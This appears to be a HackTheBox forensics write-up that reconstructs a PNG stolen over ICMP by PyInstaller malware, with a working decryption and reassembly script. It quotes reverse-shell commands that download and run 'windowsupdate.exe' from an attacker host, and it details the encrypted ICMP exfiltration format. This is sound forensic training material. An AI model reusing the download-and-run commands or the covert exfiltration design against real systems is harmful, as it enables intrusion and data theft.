← Back to Writeups
HTBMediumForensics

Thief

XESXOR9/10/20265 min read
#forensics#htb#medium

Thief

Platform: HackTheBox | Category: Forensics | Difficulty: Medium Date: 2026-04-03 | Status: Solved

Description

Analyze the provided traffic capture and recovered files to determine what was exfiltrated and recover the flag.

We are given a PCAP, a recovered Windows executable, and the final recovered image. The goal is to understand the compromise chain, reverse the exfiltration method, reconstruct the stolen file, and extract the flag.

Solution Approach

analyze a PCAP and recovered malware from a host compromise where data is stolen over ICMP.

Techniques: aes cbc decryption, icmp exfil reassembly, pcap traffic analysis, protocol reverse engineering, pyinstaller malware recovery.

Steps

Analysis

Step 1: Quick traffic reconnaissance

The PCAP immediately showed two important phases:

  1. A large TCP transfer from 10.2.32.72 to 192.168.127.146
  2. Later ICMP traffic from the victim toward 172.67.139.222

There was also an interactive session on TCP/5349, which turned out to be a reverse shell. Commands visible in that shell included:

text
whoami
hostname
systeminfo
wget http://10.2.32.72:4953/windowsupdate.exe -outfile windowsupdate.exe
dir
windowsupdate.exe 1dub.png
./windowsupdate.exe 1dub.png

This gives the whole storyline: the attacker gained a shell, downloaded windowsupdate.exe from an internal HTTP server on port 4953, and executed it against 1dub.png.

Step 2: Recover the malware from HTTP

Exporting HTTP objects from the request GET /windowsupdate.exe on TCP/4953 recovered the payload exactly.

Basic triage:

bash
file windowsupdate.exe
strings -n 6 windowsupdate.exe | rg 'scapy|Crypto|AES|exfil|Bloodharbor'

That quickly suggested a PyInstaller-packed Python sample using:

  • scapy for raw packet transmission
  • Crypto.Cipher.AES / PyCryptodome for encryption
  • the string exfil-
  • the static key material The Bloodharbor!

Decompiling the extracted .pyc with uncompyle6 revealed the core logic.

Step 3: Understand the exfiltration format

The malware reads the target file, splits it into 256-byte chunks, zero-pads the final chunk, and encrypts each chunk independently with AES-CBC.

The encrypted packet payload format is:

text
6-byte prefix:   exfil-
16-byte IV:      random per chunk
256-byte blob:   AES-CBC(ciphertext)

So each ICMP echo-request payload is exactly 278 bytes.

The key is static:

text
The Bloodharbor!

From the PCAP, there were exactly 48 ICMP echo requests whose payload started with exfil-, matching the malware design.

Step 4: Why raw packet order does not work

Simply decrypting the ICMP packets in capture order does not reconstruct the file correctly. The malware intentionally scrambles chunk order before sending.

The recovered code builds a tree-like structure and then transmits packets with:

  • ICMP.id = tree depth
  • ICMP.seq = position within that depth bucket
  • payload = encrypted file chunk

The send order is randomized with shuffle(vals), so capture order is meaningless. Reconstruction must be done by recreating the malware's scramble mapping and then using (icmp.id, icmp.seq) to place each chunk back into its original file position.

Step 5: Rebuild, decrypt, and identify the stolen file

After reproducing the same scramble logic for 48 chunks, every ICMP packet could be mapped to its original chunk index. Decrypting each chunk with AES-CBC and concatenating the plaintext produced a valid PNG.

The recovered file started with the PNG magic bytes:

text
89 50 4e 47 0d 0a 1a 0a

Opening the rebuilt image displayed the flag on-screen.

Solution

Step 1: Confirm the shell activity

Use Wireshark or tshark to inspect the TCP/5349 stream and note the executed commands. This identifies the downloaded malware and the target file name.

Step 2: Recover and reverse the payload

Export windowsupdate.exe from the HTTP transfer on port 4953, then inspect it with file, strings, and uncompyle6 to recover the Python logic.

Step 3: Extract ICMP exfil packets

Filter only ICMP echo requests whose raw payload starts with exfil-.

Step 4: Recreate the malware's scramble mapping

Instead of trusting packet order, generate the same tree structure over placeholder chunk indexes 0..47. This produces a lookup from (icmp.id, icmp.seq) to the original chunk position.

Step 5: Decrypt the chunks and rebuild the PNG

For each ICMP packet:

  • strip the exfil- prefix
  • take the next 16 bytes as the IV
  • decrypt the final 256 bytes with AES-CBC using The Bloodharbor!
  • place the plaintext into the correct chunk slot

Concatenate the chunks, trim trailing zero padding, and save the result as a PNG.

Full working solve script

python
#!/usr/bin/env python3
from math import sqrt
from pathlib import Path

from Crypto.Cipher import AES
from scapy.all import ICMP, Raw, rdpcap


PCAP = Path("challenge.pcap")
OUT = Path("recovered.png")
KEY = b"The Bloodharbor!"
PREFIX = b"exfil-"


def next_square():
    x = 0
    while True:
        yield 2 ** x
        x += 1


def scramble(content):
    bound = int(sqrt(len(content))) * 10
    pos = 0
    tree = []

    for iteration in next_square():
        if iteration > 1:
            ins = tree[-iteration // 2 :]
        debug = 0

        for _ in range(iteration):
            if pos >= len(content):
                continue

            if iteration > 1:
                if len(ins) == 1:
                    tree.append(ins + [content[pos]])
                else:
                    tree.append(ins[debug % (iteration // 2)] + [content[pos]])
                    debug += 1
            else:
                tree.append(content[pos])
            pos += 1

        if iteration > bound:
            break

    return tree


def build_mapping(chunk_count):
    placeholders = list(range(chunk_count))
    scrambled = scramble(placeholders)
    tree = {}
    current_depth = 1

    for node in scrambled:
        if not isinstance(node, list):
            tree[1] = [[[node], 0]]
            continue

        bucket = tree.get(len(node), [])
        if not bucket:
            tree[len(node)] = bucket

        if len(node) % 2 == 0:
            bucket.append([node, len(bucket)])
        else:
            bucket.insert(0, [node, len(bucket)])

        if current_depth != len(node):
            for idx, _ in enumerate(tree[current_depth]):
                tree[current_depth][idx][1] = idx
            current_depth = len(node)

    mapping = {}
    for icmp_id, entries in tree.items():
        for path, seq in entries:
            mapping[(icmp_id, seq)] = path[-1]
    return mapping


def extract_packets(pcap_path):
    packets = rdpcap(str(pcap_path))
    exfil = []

    for packet in packets:
        if ICMP not in packet or packet[ICMP].type != 8 or Raw not in packet:
            continue

        payload = bytes(packet[Raw].load)
        if not payload.startswith(PREFIX):
            continue

        exfil.append((packet[ICMP].id, packet[ICMP].seq, payload))

    return exfil


def decrypt_chunk(blob):
    iv = blob[6:22]
    ciphertext = blob[22:278]
    return AES.new(KEY, AES.MODE_CBC, iv).decrypt(ciphertext)


def main():
    exfil = extract_packets(PCAP)
    if not exfil:
        raise SystemExit("No exfil packets found")

    mapping = build_mapping(len(exfil))
    ordered = [None] * len(exfil)

    for icmp_id, seq, payload in exfil:
        ordered[mapping[(icmp_id, seq)]] = decrypt_chunk(payload)

    if any(chunk is None for chunk in ordered):
        raise SystemExit("Missing chunks after reconstruction")

    data = b"".join(ordered).rstrip(b"\x00")
    OUT.write_bytes(data)

    print(f"Recovered {len(exfil)} encrypted chunks")
    print(f"Wrote {OUT} ({len(data)} bytes)")
    print(f"PNG magic: {data[:8]!r}")


if __name__ == "__main__":
    main()

Running the script against the challenge PCAP reconstructs the stolen PNG. Opening it reveals the flag:

Flag

HTB{REDACTED}

Lessons Learned

  1. Aes Cbc Decryption
  2. Icmp Exfil Reassembly
  3. Pcap Traffic Analysis
  4. Protocol Reverse Engineering
  5. Pyinstaller Malware Recovery